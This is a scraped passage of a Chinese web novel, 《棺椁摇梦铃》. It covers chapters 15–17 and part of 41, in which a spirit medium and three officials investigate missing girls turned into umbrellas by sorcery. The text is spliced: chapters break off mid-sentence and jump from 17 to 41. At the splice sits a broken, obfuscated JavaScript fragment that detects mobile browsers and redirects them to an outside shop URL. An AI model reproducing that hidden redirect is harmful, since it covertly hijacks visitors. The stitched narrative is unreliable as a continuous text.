再看碗底,圆月已是消失不见,沉在底下的,是一块用木头雕刻的老虎。 眉头微蹙,三枚将瓷碗放到木箱子上,接着便开始抱手静等。 结果半个时辰过去了,一望无际的海面上,安静如死水,别说是断臂了,连风也不见半粒。 “啊!” 三枚忽而拍了一下大腿,“差点忘了,海里的断臂只有一抹残魂。” 残魂没有人的意识,简单的召唤仪式,根本让它从深海里出来。 真是让这恼人的汪洋大海给绕晕了。 将木箱子上的破碗放到竹筏上,三枚反手一挥,手中霎时多出了三根细香,凑到嘴边轻轻一吹,便将香给点燃了。 “咯!” 随着八耳一声低叫,三枚将手中的细香环着碗沿顺时针绕了一圈,嘴里念了几句咒语,最后往海水里一插。 细香不倒也不沉,居然就那么立在了水面上,燃起的烟顺着海风,徐徐地弥散开去。 过了一会儿,平静的海面开始泛起了层层涟漪,温和的微风也逐渐猛烈了起来。 三枚轻笑一声,“终于来了。” 话音刚落,眼前一花,竹筏忽而猛地一震,海底像是有什么东西,自下而上重重地推着水流。 “啪嗒!” 一个黑影从海里一跃而起。 又“啪嗒”一声,重重落回水里,漾起了猛烈的海浪,须臾往水面上一探头,用力拍打着海水朝三枚所在的方向冲了过来。 坐在竹筏上的三枚身子僵了一下,手臂上的寒毛根根竖起,脸上面无表情,长袖下的手缓缓摸到竹筏两边,紧紧地抓住最边上的竹竿。 随着剧烈起伏的海浪,载着三枚的竹筏颠簸如斗,她咬着牙,将系在腕上红绳的五铢钱咬在嘴里,上半身慢慢趴伏下来。 八耳一边敬业地警惕四周,一边从三枚的肩上悄悄地往上踩,生怕翻涌的潮水会将自己淹湿。 “大人!” 快如闪电的黑影,突然开口,阴森森的语调,犹如恶鬼锁魂般渗人。 “大人呀~~” 一个巨大的海浪拍上了竹筏,三枚迎面被呛了个正着,本能地闭眼屏住呼吸,就在她以为即将翻落入海的瞬间,一只泡胀得发白发烂的手臂,忽而从海里伸了出来,一巴掌拍在了竹筏上。 “呼!” 三枚将灌了满嘴的咸涩海水吐掉,先前咬在嘴里的五铢钱也一并吐了出来。 她还死死地趴在竹筏上,一时不敢大意,等到海面恢复平静,她才长长地吐了一口气。 抬头就对上了一只巴掌,巴掌里头五官俱全,神情怪异。 赫然就是三枚当日梦中一晃而过的断臂鬼脸。 “咳......咳!” 三枚:“差点呛死我了。” 死死扒着三枚后衣领的八耳,也跟着死里逃生般大吼一声:“咯!” 谁说不是呢! 简直吓死只鸡! “说吧,姓甚名谁,有何冤屈,又有什么执念,一并说来,别废话!” 突然就没了耐性的三枚,口气不是很好。 八耳比她还要暴躁,“咯咯咕!”张嘴就要啄那断臂。 吓得那断臂往水里一缩,没一会儿就从竹筏的另一边冒头,小心翼翼地爬了上来。 三枚理了理衣襟,伸手一捞,就将漂浮在水上的瓷碗捞到了手里,里头的木头雕块还牢牢地粘在碗底。 寒凉的海风,迎面吹来,三枚忍不住打了个寒噤。 见那断臂掌心里的五官朝自己龇牙咧嘴,就是不说话的样子,佯装凶狠地道:“快说!不然我走了啊。” “嘻嘻。”断臂发出一声憨憨的傻笑。 三枚捂着额头,有些头痛,看它那痴傻的模样,猜想残留在断臂上的魂魄并不是主魂里的一部分。 “啧,这可有点难搞了啊。” 像哄小孩一样,三枚哄它:“你看,你长得这么可爱,想必名字一定看好听极了,乖,告诉我你叫什么,来自哪里?” “嘻嘻。” 又是一声傻笑,像个不知世事的小孩儿。 插在海里的三根细香眼看就要燃烬,三枚正愁要该从哪里入手的时候,一开始就被她安置在竹筏一端的木箱子,忽然发出“砰”地一声。 像是打开了某个机关,与高挂在空中的月亮相对的一面木板,徐徐展了开来,翻盖一样直接翻到了后面,露出了木箱子里的全貌。 一尊泛着桐油光泽、由深棕色鸡翅木雕琢而成的精致小棺椁,安静地躺在木箱子里,散发着淡淡的中草药味。 小棺椁的盖子中央,放着一只仅两指宽的紫铜色铃铛。 小巧的铃铛嗡嗡,发出阵阵沉闷的响声。 三枚头更疼了,额角青筋直跳,她捏了捏鼻梁,“小梦铃啊,这亡灵傻不愣登,连名儿都还没透漏一点儿,你就把家门大敞,也太好说话了吧。” 铃铛叮咚,慢慢地移下了棺椁,没了重物压着,棺椁上的盖子“咣当”一声,紧跟在铃铛的后头。 “行吧行吧,随你们的便。” 三枚也不作多劝,比起探究眼前的断臂残魂的来龙去脉,她更想早点离开这片令她胃部翻江倒海、恶心想吐的深海。 “你、”忍过一阵眩晕,三枚指着还在跟八耳挤眉弄眼的断臂,“给你三秒,是跟我走,还是怎么着——” 话还没说话,眼前划过一抹残影,就见那截断臂以疾风闪电的迅速窜进了木箱子,眨眼就挤进了棺椁里。 三枚:...... “你不是听不懂人话吗?!” 断臂掌心一握,畸形的五官死死地躲在拳头里,还转成了手背对着三枚。 “当啷。” 铃铛再响,左右晃了晃, 15. 第 15 章 《棺椁摇梦铃》全本免费阅读 “这样好吗?” 邢正撩开车窗,看着走在马车边上,一边举着破瓷碗,一边啃油饼的三枚,心有不忍地道。 裴元皱着眉头:“咱又不是甚十恶不赦的坏人,是谁拦着不让她上车了?是她自己!非要自己走路。” 说是这么说,他的眉头皱得却不比邢正的浅,“好说歹说说不听,宁愿溅自己一身泥泞,也不肯跟咱一道,说什么会干扰到她的判断。” 也不知道在高傲个什么劲! 轻飘飘的语气将人气了个半死,她却视若无睹,仿若闲庭散步般淡然,时不时还转头朝你咧嘴一笑。 脏兮兮的小脸,龇着雪白的牙花,真是......辣眼睛! 真正令裴元生气的是,“陆在野他又是发的什么癫,竟然选择跟她一起走!” “他居然还给她撑伞!!” 裴元越说越气,狠狠一跺脚,手指往前一指:“偏它一只小小的稚鸡淋不得雨,居然趾高气昂地进了我的马车!” 邢正被他吼得耳朵生疼,努力远离噪声来源,“它可不是一只普通的野鸡,本事大着呢。” 将撑开的车窗“砰”地一扔手,“再厉害它也只是一只鸡!” 八耳被说了也不生气,一会儿低头“嗒嗒嗒”啄着黍米,一会儿抬头看猴戏似的撩一眼暴躁的裴元,小小的豆眼炯炯有神。 裴元气极,手中折扇扇得飞快,最后啪的一声拍在手心。 邢正看得牙疼,“不是,我说你跟个小姑娘较什么劲啊?” “那她凭什么使唤陆在野给她撑伞!高冷的大理寺少卿,都没给长曜和我撑过。” 邢正无语:“那总不能让人淋雨吧。”人家帮忙衙门给受害者寻尸呢。 “谁让她淋雨了!” 裴元吼完,突然冷静了下来,眯着眼别有深意地盯着邢正看。 邢正被他看得心里毛毛的,抬脚就是一踢,“你那什么眼神,恶心死了!” “邢安然,你变了。”裴元双手环胸,幽幽地说道,“以前的你不是这样的。” “难道你忘了我们和陆在野在青山书院三足鼎时期的过去了吗?” 邢正翻了个白眼,“你才变了。” “你的大头症变得有严重了,阴阳怪气的功夫也变深了。” “好腻个邢安然,几年不见,嘴上功夫见长啊!看招!” 然后两个大男人,就在马车里拳打脚踢了起来。 八耳看得眼睛发亮,简直乐不思蜀。 过了好一会人,车里才安静了下来。 裴元:“你真信她在云客来里说的那些话?” 仿佛刚才干架的人不是他一样,气定神闲地轻摇折扇,实际上脸颊痛得直抽。 下巴挨了一拳的邢正,歪头给自己正着骨。 “嗯?” 裴元:“别忘了,薛婉茹半个月前才失踪不见的!不是她说的三个月前!” “而且,人家爹娘说得清清楚楚,那日薛婉茹离家,手里拿着的是天青色的雨伞,并不是昏黄色的。” 马车里的声音作何遮掩,清清楚楚地传了出来。 三枚啃完油饼,擦干净手,才抬头看着陆衎。 “你呢?是不是也觉得我像个骗人的神棍?” 陆衎并不看她,只顾看着前方。 三枚:“你们不信也是正常的。” “因为我自己也还没搞明白,为何半个月前才遇害的薛婉茹,能提前三个月跑进我的梦里摇铃请托。” 陆衎低头,就见三枚那又卷又翘的浓密睫毛沾了潮湿的水汽,湿润润地眨啊眨。 “两年前,我因公外出追剿一群亡命盗匪,途经一个叫做临山的地方。” 三枚闻言,抬头看着陆衎。 “临山四面环山,偏僻又穷困,村民的居所几乎都是简陋的茅草屋,土地贫瘠,粮食蔬果根本就没法种植,为了生计,家家户户的青壮年纷纷出山,另谋出路,导致留在村里的都是一群老弱幼。” 陆衎隔着雨幕,望向远处山川,厉眸变得深幽,仿佛回到了两年前,初到临山的那个暴雨天。 当时暴雨如注,山体崩塌,巨大的岩石从山坡上滚落,将官道堵了个严严实实。 于是当晚,陆衎就近入住了一家客栈。 客栈的老板娘是个膘肥体壮的中年妇女,却长了一张尖酸刻薄的瘦削脸,对店里跑堂的两个小二哥颐指气使叫骂不停。 面对突然暴涨的客源,小二哥俩是忙得脚不沾地、晕头转向,老板娘不仅不帮忙,只顾扯着尖锐的嗓门在边上添乱,时不时还上手掐打他们。 对此,店里的伙计俱都苦不堪言,甚至积怨久矣。 闲散下来后,居然就站在人来人往的廊道里,开始编排起了自己的雇主。 “若不是就为赚她几个铜板钱,我肯定不遭这个窝囊罪!” “动辄打骂就算了,竟然还克扣工钱,死肥婆欺人太甚!” “就是就是,脾气这么坏,怪不得她男人孩子都不要她,长得那个磕碜样儿,鬼都能吓跑。” 义愤填膺的声讨中,突然挤进一个怯怯的声音,“那个,不是这样的。” “老板娘的夫君和孩子,是被人抓走的。” “老板娘她脾气确实不好,但、但是你们不能这样揭人伤疤的。” “嘿,你个小矮子!我们哥几个说话,你插什么嘴呢,去去去,赶紧滚蛋!” 低沉的咒骂声,怯懦声音的主人被从廊道里推攘出来,趔趄了几步后结结实实地摔了个屁股墩。 嘲弄的哄笑声哗然而起。 “哈哈哈......” “鬼哭狼嚎个什么劲!没事做就给老娘滚去后院刷马桶,叨扰了老娘的客人,看我怎么收拾你们这群吃白饭的小兔崽子!” 客栈老板娘的狮子吼乍然响起,将廊道上的所有人都吓了一跳,顿时如惊弓的鸟兽般,一哄而散,谁也不敢再作逗留。 陆衎这时才从屋顶上一跃而下,将目瞪口呆看着看着的小二哥给扶了起来。 小二哥一脸受宠若惊:“谢谢。” 陆衎摇头:“不客气。” 尽管肩负要务、满身疲惫,他还是没错过小二哥方才说过的话。 “你刚刚说的,你们老板娘的家人是被人抓走,是怎么一回事?” 刚想转身离开的小二哥,闻言身子一僵,神情有些不自然地道:“没、没什么,我、乱说的。” 陆衎将腰间令牌一掏,朝小二哥面前一伸。 惶恐不安的小二哥抬眼看去,瞳孔瞬间瞪大,继而眼眶泛泪,“官府的令牌!您是官府派来的人!” “老天有眼,终于让老板娘等到来查案的大人了!” 他的哭腔一出,方才鸟兽散尽的几个伙计,一个个从都从黑暗中钻出了头来。 他们的身后,就站着客栈的老板娘。 —— 雨势稍停,陆衎将伞收好。 “其实案情并不如何复杂,原来临山的青壮年并不像外头传的那般背井离乡进城谋生后留在了外乡,而是被人抓走卖作了奴隶。” 三枚:“一个村的青壮年都?” 陆衎点头:“一百七十二名。” “据说是他们村某天来了个衣着华贵的大商人,包圆了附近山上的一大片木材,想雇他们村身强体壮的男人上山伐木。”< 16. 第 16 章 《棺椁摇梦铃》全本免费阅读 从破庙里拿走自己的行李,三枚背着木箱子,和陆衎一行人回到眧州城。 他们就站在云客来对面的小酒肆,看着官府里的衙役在云客来进进出出,边上还围了不少好奇凑热闹的百姓。 “诶,怎么就封了?”有人突然出声问道。 “最近没听见有什么了不得的风声啊,除了那个失踪案。” “会不会,就是失踪案有关?” “不是吧?” “话说,除了那个长得肥头大耳的掌柜,还从见过他的东家。” “我倒是耳闻过一二,云客来的东家,貌似是个年过七旬的老妪。” “诶,出来了,只有那个胖掌柜和几个伙计,怎么不见你说的老妪东家?” “估摸是听到消息,跑了吧。” ...... “跑不了,八耳在她家后院转了一圈,”三枚转头看着陆衎,”帮你们把人给捉了。” 裴元瞪眼:“捉了?” 邢正皱眉:“在那里?我怎么没看到?” 陆衎垂眸,与三枚的杏眼对视了几秒,末了移开视线,淡声说道:“上衙门说?” 三枚摇头,摸着独自道:“我又饿了。” “又饿?!”裴元大声道。 十几块大肉饼,吃完还没一个时辰吧,这家伙肚子里该不会是长蛔虫了吧。 —— 将最后一个大肉饼吞吃入腹后,三枚慢条斯理地喝了一口清茶,在裴元的怒视下,才悠悠然开口。 “听说过《板桥三娘子》的故事吗?” 裴元白眼大翻:这一出又一出的,我今天到底要听多少个故事!! 邢正歪了歪头:“这不是民间的志怪传奇吗?” 一直观察着三枚的陆衎,瞳孔忽而瑟缩了一瞬。 他的这一反应,被三枚捕捉了个正着,眉毛一挑,三枚点头:“正是。” 这篇志怪传奇的内容,大致写的是民间有个叫做三娘子的中年女子,开了一家名作板桥旅店的客栈。 客栈以卖粥饭为业,然而孑然一身的三娘子,却家境十分富裕,驴畜多匹。 三娘子不仅勤快老实,一个人将客栈打理的井井有条,而且心地也十分的善良,过往的旅客,只要因马困乏或者其他原因不能当日便启程前行的,她便总会降低价钱卖给他们饭菜以作救助。 三娘子因此得名,板桥客栈总是住满了人。 殊不知后来有个路过板桥旅店的客人,阴差阳错发现了三娘子的秘密。 原来那些停留在她的客栈,最后成功入住的客人,吃了她晚间精心准备的饭菜后,半夜便陷入了昏迷,睡得人事不知。 三娘子趁隙便在院中施加邪术,驱驴磨面,第二日将磨好的面粉做成烧饼,送给那些客人食用。 然而,那些吃了她的烧饼的客人,结果却都变成了驴畜。 三枚:“能让人神不知鬼不觉地消失,想来于眧州作恶之人,便是用了与三娘子同等的邪术。” 她看向陆衎:“路上你说的临山的贩奴案,想必也是如此。” 裴元听得头皮阵阵发麻,鸡皮疙瘩窜了满身,他一边搓着胳膊,一边问道:“所以,云客来的东家,是个会邪术的七旬老妪,将眧州这些可怜的姑娘们,全都变成了一只只的毛驴?” 思及云客来的招牌菜是牛羊烧锅,他的桃花眼瞬间瞪大,“该不会,他们店里用的牛羊,就是用失踪的那些姑娘变的牛羊做的?!” 想到自己好像在云客来点过好几次烧锅,裴元胃部突然翻涌绞痛了起来,忍不住“yue”了一声。 “不对。” 三枚还没开口,双手叉腰守在门边的邢正率先否定了裴元的说法。 “自案件发生以来,州府大人便下令封锁了城门,进出城门的百姓商客一律严查不待,牲畜的运行和买卖更是管得更严。” “而且,我方才大致翻看了下酒楼里的内外账本,云客来已是好久不来客,厨房几乎不再准备食材。若是后院突然多了几十只牛羊毛驴,岂不惹人生疑?” “所以,那些少女,应该不是被变成了牲畜,而是其他。” 裴元不服气,瞪着邢正:“那你倒是说说,变成了什么?” 邢正耸肩,摊了摊手,回答得十分干脆:“我不知道。” 一直看着三枚若有所思的陆衎,视线忽而移到了桌上的油纸伞,脸上神情瞬间豁然开朗,继而变得凝重肃穆。 他道:“油纸伞。” 三枚望着陆衎的杏眸里充满了赞赏,她补充道:“而且,是有特殊徽记的油纸伞。” “十几二十只毛驴牛羊不好赶,但换成了几十把伞,转移起来,便容易得多了。” 邢正额间皱成了深深的“川”字,“怎么......” 三枚点头:“还记得雨林那日,我与你们分别,独自穿过那条崎岖的小径吗?” 陆衎剑眉微蹙,点头,“当时你说薛婉茹的魂快要散了。” 邢正拍额:“原来如此。” 害他还以为陆衎见人消失后,连着几日都心事重重的样子,原来是因为薛婉茹。 没参与过这一段的裴元,有种被孤立在外的不爽感,忍不住瞪了邢正一眼。 邢正:......莫名其妙 三枚:“没错,我就是在那条小径的尽头,找到了这把昏黄色的油纸伞。” 当八耳将吞咽入肚的五彩绳反刍成蚕丝状的五彩线,又圈出了一个又一个的小圆圈时,三枚耳边回响的惨叫声和轰鸣声彻底消失。 她当时抬头看着威尔高耸的山峰,一开始还以为是伥鬼作祟,直到看见油纸伞伞骨上的徽记。 邢正:“有什么问题吗?” 陆衎:“徽记上的那一点朱红,不像是刻完字后点上去的,看起来更像是伞骨原先就有的。” “没错,”三枚语气难掩激赏,“这一点,用的是人的心头血,这是邪术能成功的关键所在。” “听说眧州有个人人皆知的习俗,便是女子及笄当日,需用好酒宴客。” 陆衎和裴元俱都看向了邢正这个当地人。 邢正点头:“确有这个习俗。” 三枚:“我还听说,这些姑娘在出生之后,家里长辈会为其制定一把专属的油纸伞。” 没想到三枚连这都知道,邢正挠挠头,“制伞,是我们本地颇老一辈的老人才会如此讲究,是对心生女儿的祝福,寓意至善至纯。” 一般会专门让油纸伞铺寻摸上好的竹料,精心打造 17. 第 17 章 《棺椁摇梦铃》全本免费阅读 “什么!” 听见三枚说邢正手里的油纸伞就是老妪变得,吓得裴元立马弹开老远。 “等会儿,”裴元见邢正举起油纸伞,作势就要打开,顾不得形象,直接大喊了一声。 邢正极其不屑地对着人翻了个白眼,转而朝陆衎道:“板桥三娘子的故事,听说最后三娘子自食恶果,也被变成了驴畜。” “后来是由某个得道的老人家,从驴的口鼻掰开,才将三娘子从驴皮里解救出来的。” 邢正一边摆弄着手里的油纸伞,一边转头看着三枚,疑惑不解地问:“油纸伞,要从哪里掰起?” 三枚挠了挠头,又皱了皱鼻子,没有即刻回答他的话。 陆衎眼尾一挑,忽而问道:“你先前说,施加邪术之人,将少女变成了油纸伞,并不在乎她们的生死。” “所以,少女在被变成油纸伞的瞬间,就已经死了?还是说,正在慢慢死去?” 大理寺少卿果然名不虚传,看问题就是一针见血。 三枚:“断了一臂,伤口没有包扎处理,自然是慢慢失血而亡。” 陆衎:“当初她是如何锁定的被害者?随机指定的目标,还是无差别针对眧州所有的姑娘?” 三枚意外地看着陆衎,问:“这几天,没有一个叫做王忘芒的老人家找你吗?” 陆衎被她问得一愣,摇头:“从未!” 裴元摸了摸耳朵,小声嘀咕:“这名儿,怎么听着这么耳熟呢?” 邢正将油纸伞放到桌上,直接问道:“这人怎么了?” 三枚皱了一下脸,心想王大爷当初说要亲口将消息告诉陆衎,自己如果就这么透漏出来,是否不道义了点? “啪!” 裴元大掌一拍,故意恶狠狠地瞪着三枚,佯装恶声恶气地道:“说!从实招来!” 陆衎蹙眉,轻飘飘扫了他一眼。 前一秒还装得气势汹汹的裴元,气势瞬间焉了下来,嘟囔道:“我装装而已......” 邢正看他可怜兮兮的模样,好心移了移脚,粗壮魁梧的身子帮他遮挡住了陆衎的视线。 然而好心没好报。 不识好人心的裴元,刹那炸毛,“邢安然,你挡住我了!不晓得自己长得五大三粗,挤占空间啊!” 气死!本世子被陆在野凶一眼就罢了,好家伙,连邢安然这货也敢踩上自己一脚了。 看我不发发威,还当本世子是只病猫啦! “赶紧给本世子让让!” 把人一推,直接坐到了陆衎的边上,记吃不记打地对着人道:“陆在野,这厮不行啊,这几年没你管着,越发没规矩了!” 邢正气得咬牙切齿,心想:行,下次陆在野再凶你,我指定拍手叫好!落井下石!火上浇油! 又免费看了一出乐子戏的三枚,差点乐出声来。 “笃、笃、笃、” 陆衎敲了敲桌面,将三枚游离的注意力给拉了回来。 “啊?咋啦?” 一时松懈,乡音都跑了出来,为了掩饰,三枚舔了舔嘴角,立马转移话题,“王大爷眧州送酒的游商,他说他发现了与少女失踪有关的秘密。” 邢正立马追问:“什么秘密?” 裴元也好奇地看向三枚。 陆衎咳了一声,将视线从她的唇上移开,也盯着三枚问:“不能说?” 见所有人的注意力都被自己转移,三枚心情转晴,便将王大爷说的话,复述了一遍。 陆衎点头:“当初整理线索的时候,我们便发现了失踪少女都是同年同月同日生,及笄礼也选择在了同一天举行。” 三枚晃了晃手指,“你可以找人查一下,就会发现,她们的生辰八字是一模一样的。” 裴元:“我怎么觉得越来越玄乎,越来越复杂啦?” 邢正也按着自己的额头,指了指桌上那把油纸伞,“她、死了吗?” 三枚皱着脸,“还~~没。” “怎么着,吃多了牙疼?”裴元忍不住插话,“脸快皱成苦瓜了。” 陆衎食指点了点桌面,须臾道:“寻尸化怨,向你请托的薛婉茹的尸体,你已经知道在哪里了。” 不是疑问句,他的语气十分肯定,继而又道:“就剩为她化怨了。” 五官挤得皱皱巴巴的三枚,艰难点头:“她要她死。” 对比裴元和邢正的两脸愣怔,陆衎的俊脸上连一丝惊讶也没有。 “正常,枉死之人死不瞑目,有个想要报仇的执念,人之常情。” 他的指腹虚空点了点三枚的锁魂箱,声音清冷地道:“眧州七十二条认命,足够让她碎尸万段一百遍。” “现在你们的当务之急,应该是寻到自己的尸体,”他的修长还看手指,又点了点邢正手中的油纸伞,“以及活捉她的同党。” 自从得知那施加邪术的老妪就被封印,邢正便一直紧握着油纸伞不放,生怕稍一放松就让它跑了。 此时听邢正提及,立马将伞放到了桌上。 吓得裴元立马起身往后退,躲得远远,生怕被传染了什么脏东西。 一直装傻卖乖的三枚,听了陆衎的话,神情一僵,抬眸与陆衎对视。 陆衎的眼睛深邃而幽深,像一潭深不见底的深渊,紧盯你的时候,刀锋一般的眼尾,显得格外凌厉,仿佛充满了杀气。 相反三枚的眼型圆润,不是很标准的杏仁眼,笑起来给人一种清纯娇憨的感觉,不笑的时候却锋利,却更显灵动。 两人气场全开,互不相让,只是坐在那里安静的对视了几秒,便给人一种王不见王的厮杀感。 求生欲极强的裴元,几乎是瞬间便意识到,这个状况,无关人员应该立即撤退,否则肯定被误伤。 于是他悄悄地起身,向后退了一步,又退了一步,退着退着,又快速前进,将邢正一把向后扯,赶紧远离火葬场才是整理。 迟钝的邢正,正疑惑好端端的两人,怎么说着说着火药味这么弄呢,就被人一个用力扯到了边上。 裴元:“嘘,闭嘴微笑,保持安静。” 邢正:...... 裴元想象中的“哐哐”乱杀的场面并没有发生,与三枚对视了好一会儿的陆衎,率先一开了视线。 他轻笑一声,“我可以答应你们,绝对不会放过任何一个残害无辜百姓的罪人,即使他家财万贯、地位斐然,我陆在野以项上人头保证,必定严惩不贷!” 闻言,三枚眸中的厉色渐然消退,眨了眨瞪得有些发酸的眼睛,她一边敲着桌子,一边垂眸沉思。 行走江湖多年,三枚见过太多官官相护的狼狈奸人。 但通过跟陆衎相处的这短短的时间里,她又直觉陆衎与那些贪官污吏不能混为一谈。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914833|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己好话说尽,愣是一眼都不给看! 哼!那枚五铢钱什么的,我早晚也要得到一枚!不然那个破瓷碗给自己也好。 裴元心里越想越美,嘴角的笑越来越深,最后忍不住,还“嘿嘿”猥琐地笑出了声。 —— 三枚将手中的本子随意地丢到桌上,在六双大眼睛的注视下,不紧不慢地道:“这是我序家门下人,从各个渠道收集到的信息,其中,夹杂着一本玉娘传。” 裴元闻言“咦”了一声,有些嫌弃地问:“玉娘传?” 名字也太老土了吧,听起来一点内涵文化都没有! 不知道他心里腹诽的三枚,点了点头,“没错,就叫玉娘传。” 她低头浅啜了一口清茶,接着才慢条斯理抽出一本泛黄的小册子,推到陆衎面前,道:“玉娘传的内容,基本就是我之前跟你们讲的,关于玉娘的故事。” 陆衎蹙眉,翻了几页后,问三枚:“故事内容都是杜撰?还是真假参半?” 裴元:“就镇山神玉玺还活着这事儿看来,八成这书里写的事儿,都是胡说八道的。” 邢正也从桌上抓起一本小册子,快速地翻阅着,听见裴元的猜测,他却道:“在野之前曾经跟我说过,一个谎言若是要让人信服,势必会掺和进一些显而易见的事实,以达到混淆视听的作用,真真假假,假假真真,以假乱真。” 三枚将杯中茶一饮而尽,点头道:“你说的没错。” 裴元:“既然如此,那你知道玉娘传里写的,哪些事真,哪句又是假话?” “巧了不是,我还真就知道。” 三枚看着躺在另一张长榻上的老妪,脆生生道:“这本玉娘传里,除了猛虎木雕的神秘之处,其余全是假。” 裴元大惊:“什么?!” 三枚:“或者说,她将所有的事实,都颠倒了黑白。” 陆衎帮三枚续了一杯茶,问道:“例如?” 三枚伸出一根手指,道:“例如,玉娘出生的时候,并不是在朝阳初升、祥云紫光绕顶的破晓,而是一个普普通通的雨后黄昏。” 伸出第二根手指,她又道:“例如,她的童年并没有遭受过讥讽、慢待,反而处处受人照顾。” 裴元和邢正两人脸上的表情有些精彩,她饶有兴趣地看了一会儿,又伸出了第三根手指,笑嘻嘻地道:“例如,猛虎木雕并非镇山神继承给玉娘,而是她处心积虑、不择手段抢夺到手。” 裴元和邢正越听,眉头皱得越深,胳膊不觉起了一层鸡皮疙瘩,“怎么......” 三枚却越说越来劲,明明脸上笑得非常灿烂,眼神却越来越冷,她讥诮道:“又例如,镇山神并非其亲生父亲,与她没有半点干系。” 像是想到什么滑稽搞笑的事情,三枚“噗嗤”一声,笑了出来,她虚空指点老妪,冷笑道:“还例如,镇山神玉玺,并非男性,而是个真真正正的女人。” “啥?”邢正脸色大变,忍不住出声,“镇山神是个女的?!” 41. 第 41 章 “镇山神是个女的?”裴元看着三枚,呆若木鸡,脑子感觉有些转不过来。 三枚觉得他们的反应太奇怪,她反问:“怎么,镇山神不能是女的?” 邢正:“不是,不是这个意思,只是、只是有点......” 三枚:“有点什么?” 有点意外,有点惊讶。 三枚说小本上所写,俱都是老妪在胡编乱造,邢正想过镇山神并不存在的可能,或者镇山神并不叫玉玺,没想到,镇山神玉玺居然是个女的。 好似在他的记忆里,什么山神、土地神之类的,潜意识里一般都默认为是男的。 三枚无语,“少见多怪。” 山神镇山护佑一方安稳,只看能力资格够不够格,什么时候还拘泥于男女之别了? 被三枚说得有些面红耳赤,邢正差点将头皮都挠秃噜了皮,只能不断喝水以掩饰脸上的尴尬和难为情。 裴元心里暗哼,这个小三枚,话一套一套的,真是牙尖嘴利。 他将邢正往后一拽,自己先前大跨一步,道:“我们只是被你之前讲的故事给误导了。谁让你一会儿说玉娘的生父是镇山神,一会儿说镇山神被玉娘气死,然后现在又说故事都是假的杜撰的,你看谁听了不迷糊,脑袋不混乱?” 然后他将脑袋猛然一转,眼睛死死地盯着陆衎道:“陆在野你说,我说的对吗?” 没想到火花会溅到自己的身上,陆衎斟茶的手一顿。 闻言抬眼,不其然对上了三双亮晶晶的大眼睛,他也不知道想到了什么,万年不变的冰山冷,倏尔便笑了起来。 本来还生气陆衎之前将自己敲晕的三枚,心里的闷气,被他陡然间的嫣然一笑,一下子就给笑没了。 她抿紧的嘴角也跟着往上飞翘,心想:天爷,世上怎么就有这么好看的人呢! 与被美人灿笑迷得神魂颠倒的三枚不同,裴元和邢正俱都一脸见了鬼的表情,两人猛然倒退一步,一前一后摆开架势,不可思议地看着陆衎。 裴元甚至还指着他大喝道:“呔!何方妖孽,胆大如斯,竟然敢附身到活阎王的身上!” 话音刚落,陆衎脸上的笑意,顿时消散得无影无踪。 然而他还没来得及训斥裴元,坐在对面的三枚,率先抓起桌上的小册子,越过脸上一副严正以待的邢正,猛然砸向了裴元。 她大声吼道:“多嘴多舌!赔我会笑的冰山美人!” —— 会笑的冰山美人陆衎,舌尖抵着后槽牙,努力忍了又忍,眼尾的笑意还是止不住地往外溢。 “咳!” 三枚重重地咳嗽了一声,陆衎立马假装蹙眉,严肃地翻阅着桌上那几本小册子。 过了一会儿,他忽而看着边上的三枚问道:“既然民间流传的关于玉娘的故事,大多都是杜撰的,那么,薛婉茹和石芸娘是她的血脉吗?” 坐在边行百无聊赖地晃着小腿的三枚,听见陆衎的问题,一挑眉毛,道:“半真半假。” “薛婉茹的确是石芸娘怀胎十月所生之女,三人之间,也确实是有血缘关系的羁绊,但石芸娘却并非老妪所生。” 脑海里灵光一闪而过,陆衎手撑着下巴,剑眉微蹙,猜测道:“你之前说,书上除了猛虎木雕,其余全是假,那么,其实这老妪,也并非是玉娘子。” 从三枚的漂亮杏眸里看见了熟悉的眼神,陆衎一挑眉,继而道:“而她的断臂,亦非娘胎里带出来的天生不足,而是后天所致。” 想到某种可能,他猜测道:“是她不择手段,为了抢夺老虎木雕,被惩罚或者说,反噬?” 三枚眼里充满了对陆衎的激赏,她觉得,陆衎真的是太聪明了。 “你说的没错。”她道。 “云水乡云顶山,确实存在着一位名作玉玺的女山神,女山神十月怀胎,诞下一独女,亦叫做玉娘。玉娘天生独臂,相熟的村民,平日里都称呼她为玉娘子。” 三枚双手按在座下,稍微用力一撑,从榻上一跃而下,她走到躺在长榻上,身子僵硬得一动不动,双眼紧闭,脸色却越发惨白的老妪边上,声音清脆响亮。 陆衎的注意力一直在三枚的身上,他的视线追随着三枚的身影,见她话中有话,好似说给边上老妪听的一样,故意在她边上走来走去。 三枚:“十年前,因为一场洪水塌方,依着云顶山而围居的乡民,成了各奔东西、颠沛流离的难民,曾经山清水秀的云水乡,如今已是不复存在,想要找到云水乡的村民,难上加难。” 她的食指搭在床榻边沿上,有节奏地敲啊敲。 “不巧,我门下人中,恰好有一人,便是来自云水乡。” 床上的老妪身子忽而抽动了一下,转瞬又恢复了原先的僵硬之态。 见状,三枚嘴角扬起了得意的讽笑。 装!还装! 我看你能装到何年何月! 她的声音故意放大:“据我门下那位来自云水乡的村民回忆,镇山神膝下不仅抚育独女一人,同时还将因病早逝的兄长幼女,也养在了身边。” 被陆衎严肃勒令不许插嘴说话的裴元,听到这里,终于忍不住开口问道:“兄长幼女,也就是说,镇山神玉玺不止养了玉娘,还将侄女养在了身边。” 这不就是自己说的意思吗?有什么好重复强调的。 三枚对着裴元,特别优雅地翻了一个白眼。 “你!”裴元成功被她的表情动作挑衅道,气得伸出手指指着三枚,“你!翻白眼的样子,好丑!” 见三枚脸色一僵,他特别得意地又强调了一句:“特别!无敌地丑!” 三枚嚯地转身,看着陆衎,眼里冒火。 陆衎眨眨眼,想了想道:“裴子钰审美一直不怎么样!还请你见谅。” “陆在野!”裴元怒吼,“咱么还是不是兄弟了!” 裴元的眼里亦喷起了怒火,“你才认识她多久?居然帮她说话!” 重色轻友的家伙! 